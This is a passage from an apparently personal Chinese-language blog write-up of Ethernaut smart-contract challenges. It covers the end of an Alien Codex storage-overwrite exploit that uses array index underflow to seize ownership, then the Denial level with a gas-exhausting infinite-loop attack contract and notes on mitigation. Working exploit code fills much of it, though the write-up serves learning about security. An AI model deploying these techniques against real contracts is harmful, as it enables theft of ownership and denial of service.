// slot_of_length 是 1 (Slot 0 是 owner+contact, Slot 1 是 codex.length)。
// 我们需要满足:keccak256(1) + i = 0 (mod 2^256)
// 所以:i = 0 - keccak256(1)

uint256 h;
unchecked {
h = uint256(keccak256(abi.encode(uint256(1))));
}

uint256 i;
unchecked {
i -= h; // 相当于 0 - h
}

// 第四步:覆盖 Slot 0 为我们的地址。
// Slot 0 包含:[contact (1 byte) | ... padding ... | owner (20 bytes)]
// 写入 bytes32(uint256(uint160(msg.sender))) 会将地址放在低 20 字节,
// 正好对应 'owner' 的位置。
target.revise(i, bytes32(uint256(uint160(msg.sender))));

// 验证攻击结果
require(target.owner() == msg.sender, "Attack failed");
}
}

这里为了看懂合约,先了解几个概念:

keccak256(abi.encode(uint256(1))) 为什么要有一个abi.encode呢?

这是因为 keccak256 函数的参数要求,在 Solidity 中,keccak256 哈希函数只接受 bytes 类型作为输入。

1. keccak256 的签名

它的定义类似于:

1
function keccak256(bytes memory data) returns (bytes32)

2. 我们的目标

我们想要计算的是:数字 1 的哈希值
因为动态数组的长度存储在 Slot 1,而数组内容的起始位置是 keccak256(Slot 1 的位置),也就是 keccak256(1)

3. 为什么不能直接传 1?

如果你写 keccak256(1),编译器会报错,因为 1 是一个整数 (uint),不是字节数组 (bytes)。

4. abi.encode 的作用

abi.encode(...) 的作用就是把任何类型的数据(比如数字、地址、字符串)打包编码成 bytes 类型

  • abi.encode(uint256(1)) 会把数字 1 转换成一个 32 字节长的字节数组:
    0x0000000000000000000000000000000000000000000000000000000000000001

这样,keccak256 就能接受这个字节数组并计算哈希值了。

数组的元素为什么从 keccak256(1) 开始存储?

这是 Solidity 语言规范中定义的动态数组存储规则

静态 vs 动态

  • 静态变量(如 uint a, address b)是按顺序一个接一个地放在 Slot 0, Slot 1, Slot 2… 里的。
  • 动态数组(如 bytes32[] codex)的大小是不确定的,它可能会非常大,甚至无限大。如果把它直接塞在 Slot 序列中间(比如 Slot 1),它一旦变长,就会覆盖掉后面的 Slot 2, Slot 3… 里的其他变量。

Solidity 的解决方案

为了解决这个问题,Solidity 采用了一种“分散存储”的策略:

  1. **占位符 (Slot p)
    在定义数组的地方(比如 Slot 1),只存储一个数字:
    数组的长度 (length)**。
    • 对于 codex 数组,它的长度就存在 Slot 1
  2. **实际数据 (Data)**:
    数组里的具体元素(codex[0], codex[1]…)被“踢”到了存储空间的一个非常遥远、随机的角落,以免干扰其他变量。
    • 这个角落的起始地址就是通过哈希计算出来的:**keccak256(p)**。
    • 在这里,p 是存储长度的 Slot 编号(即 1)。
    • 所以起始地址 = keccak256(1)

寻址公式

  • codex[0] 存在 keccak256(1) + 0
  • codex[1] 存在 keccak256(1) + 1
  • codex[i] 存在 keccak256(1) + i

总结:
为了不让变长的数组挤占其他变量的位置,Solidity 把数组内容扔到了一个由哈希决定的“远方”,只在原地留了一个“长度”作为路牌。

代码里面为什么要有一个unchecked?

这是因为我们在进行溢出运算

1. 我们的目标

我们需要计算一个索引 i,使得:
keccak256(1) + i = 0 (在模 22562256 的意义下)

换句话说,我们想要让数组的某个元素“绕地球一圈”,正好落在地址 0 (Slot 0) 上。

根据简单的代数变换:
i = 0 - keccak256(1)

2. Solidity 0.8.0+ 的安全检查

我们的攻击代码是用 Solidity ^0.8.0 写的。
从 Solidity 0.8.0 开始,编译器默认开启了算术溢出/下溢检查

  • 如果你尝试计算 0 - 100,程序会直接报错 (Revert),因为它认为这是一个错误(负数在 uint 中是不存在的)。

3. unchecked 的作用

但在我们的攻击逻辑中,我们故意想要发生下溢。

  • 我们希望 0 - keccak256(1) 变成一个巨大的正整数(即 2256−keccak256(1)2256−keccak256(1))。

unchecked { ... } 代码块告诉编译器:

“在这个大括号里,不要检查溢出或下溢。如果算出来是负数,就让它自动绕回到巨大的正数去,不要报错。”

总结:
没有 unchecked0 - h 会导致交易失败。我们需要它来允许这种“数学上不合理但黑客需要”的计算。

最后截图:

nipaste_2025-12-18_23-18-5

20. Denial

Gas 转发机制

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.

If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}

这个关卡的目标是阻止所有者(owner)从合约中提取资金。漏洞在于 withdraw 函数中对 partner 的外部调用处理不当,导致可以利用 Gas 耗尽攻击来回滚整个交易。

漏洞分析

  1. 未检查的外部调用 (Unchecked External Call):
    合约执行了 partner.call{value: amountToSend}("")
    这种低级 call 默认会把当前剩余 Gas 的 63/64 转发给被调用的合约 (partner)。

  2. Gas 耗尽攻击 (Gas Exhaustion):
    如果 partner 是一个恶意合约,它可以在 receive() 函数中执行一个死循环(或者其他极其耗费 Gas 的操作),把这转发过来的 63/64 的 Gas 全部烧光。

  3. 剩余 Gas 不足:
    partner.call 因为 Gas 耗尽而返回时,Denial 合约只剩下原本 Gas 的 1/64
    接下来的操作包括:

    • payable(owner).transfer(...): 转账操作。
    • timeLastWithdrawn = ...: 修改存储变量 (SSTORE),非常昂贵。
    • withdrawPartnerBalances[...] += ...: 读取并修改存储 (SLOAD + SSTORE),非常昂贵。

    题目提到交易 Gas 上限是 100万 (1M)。1M 的 1/64 大约是 15,625 Gas。这通常不足以支付后续的转账和两次存储写入操作。因此,主合约也会因为 Gas 不足 (Out of Gas) 而抛出异常,导致整个交易(包括给 owner 的转账)全部回滚。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDenial {
function setWithdrawPartner(address _partner) external;
}

contract DenialAttack {
// 当 Denial 合约调用这个函数时,它会转发 63/64 的 Gas。
// 通过进入死循环,我们烧掉所有转发过来的 Gas。
// 剩下的 1/64 Gas 退回到 Denial 合约后,不足以完成后续的操作
// (如转账给 owner 和修改存储变量),导致整个交易因为 Out of Gas 而回滚。
receive() external payable {
// 死循环以消耗所有 Gas
while (true) {}
}

function setPartner(address _target) public {
IDenial(_target).setWithdrawPartner(address(this));
}
}

这个题目(Denial)主要考察了以下几个核心知识点:

  1. **外部调用与 Gas 转发机制 (External Calls & Gas Forwarding)**:
    • 考察你是否知道 Solidity 的低级 call 默认会转发当前剩余 Gas 的 63/64 给被调用者。
    • 这是 EIP-150 引入的规则,目的是防止调用栈过深导致的攻击,同时也保留了一小部分 Gas 给调用者处理返回结果。
  2. **重入攻击的变种 (DoS via External Call)**:
    • 虽然这不是典型的“修改状态导致的重入”,但它利用了外部调用的控制权转移。
    • 这是一种 拒绝服务 (Denial of Service, DoS) 攻击。攻击者利用被调用的机会,故意消耗资源,导致主合约逻辑无法继续执行。
  3. **错误处理与交易回滚 (Error Handling & Revert)**:
    • 考察你是否理解:虽然 call 本身返回 false 不会直接导致主合约 revert(除非代码里写了 require(success)),但如果主合约后续的操作因为资源不足(Out of Gas)而失败,那么整个交易都会回滚。
    • 在这个例子中,call 失败本身被忽略了(代码里没有检查返回值),但正是因为 call 消耗了太多资源,导致后面的代码跑不动了。
  4. **CEI 模式的重要性 (Checks-Effects-Interactions)**:
    • 如果合约严格遵守“检查-生效-交互”模式,即先修改状态(扣款、记账),最后再进行外部调用(转账),那么即使外部调用耗尽了 Gas,之前的状态修改可能已经完成(或者至少不会被外部调用的恶意行为阻塞得这么容易,虽然 Out of Gas 依然会导致整体回滚,但逻辑上更清晰)。
    • 不过对于 Gas 耗尽这种 DoS,即使调整顺序也较难完全防御,通常需要限制转发的 Gas 量(例如 call{gas: 50000}(...))。

最后结果如下:

nipaste_2026-01-29_01-10-0

  • Title: ethernaut chall Part.I
  • Author: henry
  • Created at : 2026-01-29 00:46:53
  • Updated at : 2026-01-29 01:11:54
  • Link: https://henrymartin262.github.io/2026/01/29/ethereum_challenge/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments